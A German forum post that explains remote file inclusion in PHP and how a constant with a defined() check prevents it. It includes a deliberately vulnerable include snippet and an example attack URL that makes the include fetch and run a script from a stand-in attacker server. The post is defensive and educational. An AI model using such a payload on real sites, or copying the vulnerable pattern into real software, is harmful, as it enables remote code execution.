Ganz genau. Und in einer Datei sollte (wichtig, sollte) man eigentlich wissen, in welchem Verzeichnis die Datei liegt.
Um die Idee von Simon besser zu erlaeutern, du musst in allen Dateien, die nicht eingebunden werden, sondern direkt aufgerufen werden, ROOT_PATH korrekt definieren. Nimm dabei eine Konstante, warum siehst du gleich. Alle Dateien, die nicht eingebunden werden, lassen die Konstante in Frieden und fragen sie nur ab. In diesen Dateien solltest du abfragen, ob sie auch korrekt eingebunden sind. Dies geht am Besten, indem du pruefst ob eine Konstante gesetzt ist (ROOT_PATH wuerde diesen Zweck bereits erfuellen). Warum das?
Nuja, stellen wir uns mal vor, du machst es mit einer Variable (erster Fehler). Stellen wir uns mal vor, auf deinem Server ist register_globals an (zweiter, weit verbreiteter Fehler). Stellen wir uns ausserdem vor, dass allow_url_fopen auf deinem Server aktiv ist (dritter, ebensoweit verbreiteter Fehler).
Du hast also ein Script foo.php, das eigentlich bar.php einbindet. in bar.php steht nur das:
Code:
<?php
include($root_path .'foobar.php');
?>
Da bar.php ja erwartet, dass root_path gesetzt ist, funktioniert dies bei einem Aufruf von foo.php einwandfrei, $root_path ist ja definiert.
Jetzt kommt aber der boese alci (*g*) und ruft h**p://foobar/foobar.php?root_path=h**p://meinserver/boesesscript.txt? auf. Was passiert? Der Include-Befehl wird so aussehn:
Code:
include('h**p://meinserver/boesesscript.txt?foobar.php')
denn schliesslich wird durch register_globals $root_path gesetzt. Durch allow_url_fopen geht include auch wirklich auf meinen Server, holt sich boesesscript.txt und fuehrt sie auf deinem Server aus. Die Folgen ueberlass ich deiner Fantasie.
Also, wenn direkt Code in include-Dateien ausgefuehrt wird (Dateien, die nur aus Funktionen bestehn, sind weniger kritisch) immer mit etwas der Art
Code:
if (!defined('ROOT_PATH'))
{
die('Not allowed');
}
Und natuerlich in den anderen Dateien:
Code:
define('ROOT_PATH', './');
Greetz
alcaeus
PS: Ja, ich hatte grad Lust auf nen Remote-Code-Injection-Aufklaerungspost fuer Dummies